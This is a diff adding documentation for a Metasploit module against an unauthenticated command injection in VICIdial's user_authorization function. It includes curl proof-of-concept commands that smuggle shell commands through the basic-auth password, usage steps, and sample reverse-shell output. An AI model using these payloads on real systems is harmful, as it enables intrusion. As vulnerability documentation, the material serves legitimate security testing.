|
| 1 | +## Description |
| 2 | + |
| 3 | + This module exploits a vulnerability in VICIdial versions 2.9 RC1 to 2.13 RC1 which allows unauthenticated users to execute arbitrary operating system commands as the web server user if password encryption is enabled (disabled by default). |
| 4 | + |
| 5 | + When password encryption is enabled the user's password supplied using HTTP basic authentication is used in a call to `exec()`. |
| 6 | + |
| 7 | + This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS. |
| 8 | + |
| 9 | + |
| 10 | +## Vulnerable Application |
| 11 | + |
| 12 | + VICIDIAL is a software suite that is designed to interact with the Asterisk Open-Source PBX Phone system to act as a complete inbound/outbound contact center suite with inbound email support as well. |
| 13 | + |
| 14 | + This module has been tested successfully on version 2.11 RC2 and 2.13 RC1 on CentOS. |
| 15 | + |
| 16 | + Installers: |
| 17 | + |
| 18 | + * [VICIdial 2.11 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download) |
| 19 | + * [VICIdial 2.13 RC1](https://sourceforge.net/projects/astguiclient/files/astguiclient_2.13rc1.zip/download) |
| 20 | + |
| 21 | + Follow the [instructions to enabled password encryption](http://vicidial.org/docs/ENCRYPTED_PASSWORDS.txt). |
| 22 | + |
| 23 | + |
| 24 | +## Technical Details |
| 25 | + |
| 26 | + The `functions.php` file defines a function called `user_authorization`: |
| 27 | + |
| 28 | + ```php |
| 29 | + function user_authorization($user,$pass,$user_option,$user_update) |
| 30 | + ``` |
| 31 | + |
| 32 | + This function is used throughout the application to validate user logon credentials supplied using HTTP basic authentication. If password encryption is enabled the user's password is passed to the `pass` argument of the `bp.pl` Perl script, without quotes, using PHP's `exec()` function: |
| 33 | + |
| 34 | + ```php |
| 35 | + if ($SSpass_hash_enabled > 0) |
| 36 | + { |
| 37 | + if (file_exists("../agc/bp.pl")) |
| 38 | + {$pass_hash = exec("../agc/bp.pl --pass=$pass");} |
| 39 | + else |
| 40 | + {$pass_hash = exec("../../agc/bp.pl --pass=$pass");} |
| 41 | + ``` |
| 42 | + |
| 43 | + A rudimentary blacklist is used to prevent command injection. The apostrophe `'`, quote `"`, semi-colon `;` and backslash `\` characters are removed from the user's username and password using `preg_replace`, like so: |
| 44 | + |
| 45 | + ```php |
| 46 | + $user = preg_replace("/\'|\"|\\\\|;/","",$user); |
| 47 | + $pass = preg_replace("/\'|\"|\\\\|;/","",$pass); |
| 48 | + ``` |
| 49 | + |
| 50 | + It is trivial to bypass the blacklist. |
| 51 | + |
| 52 | + For example, backticks ``` ` ```, pipe `|` or ampersand `&` are sufficient to bypass the blacklist and execute arbitrary operating system commands. |
| 53 | + |
| 54 | + For the purposes of exploitation, reaching the `user_authorization` function call with malicious input is hindered by additional input validation in use prior to the authentication check throughout the majority of the codebase: |
| 55 | + |
| 56 | + ```php |
| 57 | + $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_USER); |
| 58 | + $PHP_AUTH_PW = preg_replace('/[^-_0-9a-zA-Z]/', '', $PHP_AUTH_PW); |
| 59 | + ``` |
| 60 | + |
| 61 | + However, in VICIdial version 2.11RC2, at least two files did not make use of the additional validation: |
| 62 | + |
| 63 | + * help.php |
| 64 | + * vicidial_sales_viewer.php |
| 65 | + |
| 66 | + In VICIdial version 2.13RC1, at least one file did not make use of the additional validation: |
| 67 | + |
| 68 | + * vicidial_sales_viewer.php |
| 69 | + |
| 70 | + This vulnerability was patched in revision 2759. |
| 71 | + |
| 72 | + |
| 73 | +## Proof of Concept |
| 74 | + |
| 75 | + ```bash |
| 76 | + $ curl -isk "https://VICIdial.local/vicidial/vicidial_sales_viewer.php" \ |
| 77 | + --user 'anyusername:anypassword& id>/tmp/pwned_by_sales_viewer #' |
| 78 | + ``` |
| 79 | + |
| 80 | + ```bash |
| 81 | + $ curl -isk "https://VICIdial.local/vicidial/help.php" \ |
| 82 | + --user 'anyusername:anypassword& id>/tmp/pwned_by_help #' |
| 83 | + ``` |
| 84 | + |
| 85 | + Note that `/tmp/pwned_by_help` and `/tmp/pwned_by_sales_viewer` files should contain the results of the `id` command. |
| 86 | + |
| 87 | + |
| 88 | +## Verification Steps |
| 89 | + |
| 90 | + 1. Start `msfconsole` |
| 91 | + 2. Do: `use exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec` |
| 92 | + 3. Do: `set rhost [IP]` |
| 93 | + 4. Do: `run` |
| 94 | + 5. You should get a session |
| 95 | + |
| 96 | + |
| 97 | +## Sample Output |
| 98 | + |
| 99 | + ``` |
| 100 | + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check |
| 101 | + [*] 172.16.191.150:80 The target appears to be vulnerable. |
| 102 | + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run |
| 103 | +
|
| 104 | + [*] Started reverse TCP handler on 172.16.191.181:4444 |
| 105 | + [*] 172.16.191.150:80 Sending payload (505 bytes) |
| 106 | + [+] 172.16.191.150:80 Payload sent successfully |
| 107 | + [*] Command shell session 1 opened (172.16.191.181:4444 -> 172.16.191.150:36660) at 2017-05-27 01:00:41 -0400 |
| 108 | +
|
| 109 | + id |
| 110 | + uid=48(apache) gid=48(apache) groups=48(apache) |
| 111 | + ``` |
| 112 | + |
| 113 | + |
| 114 | +## Sample Output (Verbose) |
| 115 | + |
| 116 | + ``` |
| 117 | + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > set verbose true |
| 118 | + verbose => true |
| 119 | + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > check |
| 120 | +
|
| 121 | + [*] 172.16.191.150:80 Password encryption is supported, but may not be enabled. |
| 122 | + [*] 172.16.191.150:80 The target appears to be vulnerable. |
| 123 | + msf exploit(vicidial_user_authorization_unauth_cmd_exec) > run |
| 124 | +
|
| 125 | + [*] Started reverse TCP handler on 172.16.191.181:4444 |
| 126 | + [*] 172.16.191.150:80 Sending payload (505 bytes) |
| 127 | + [+] 172.16.191.150:80 Payload sent successfully |
| 128 | + [*] Command shell session 2 opened (172.16.191.181:4444 -> 172.16.191.150:36661) at 2017-05-27 01:00:48 -0400 |
| 129 | +
|
| 130 | + id |
| 131 | + uid=48(apache) gid=48(apache) groups=48(apache) |
| 132 | + ``` |
| 133 | + |
0 commit comments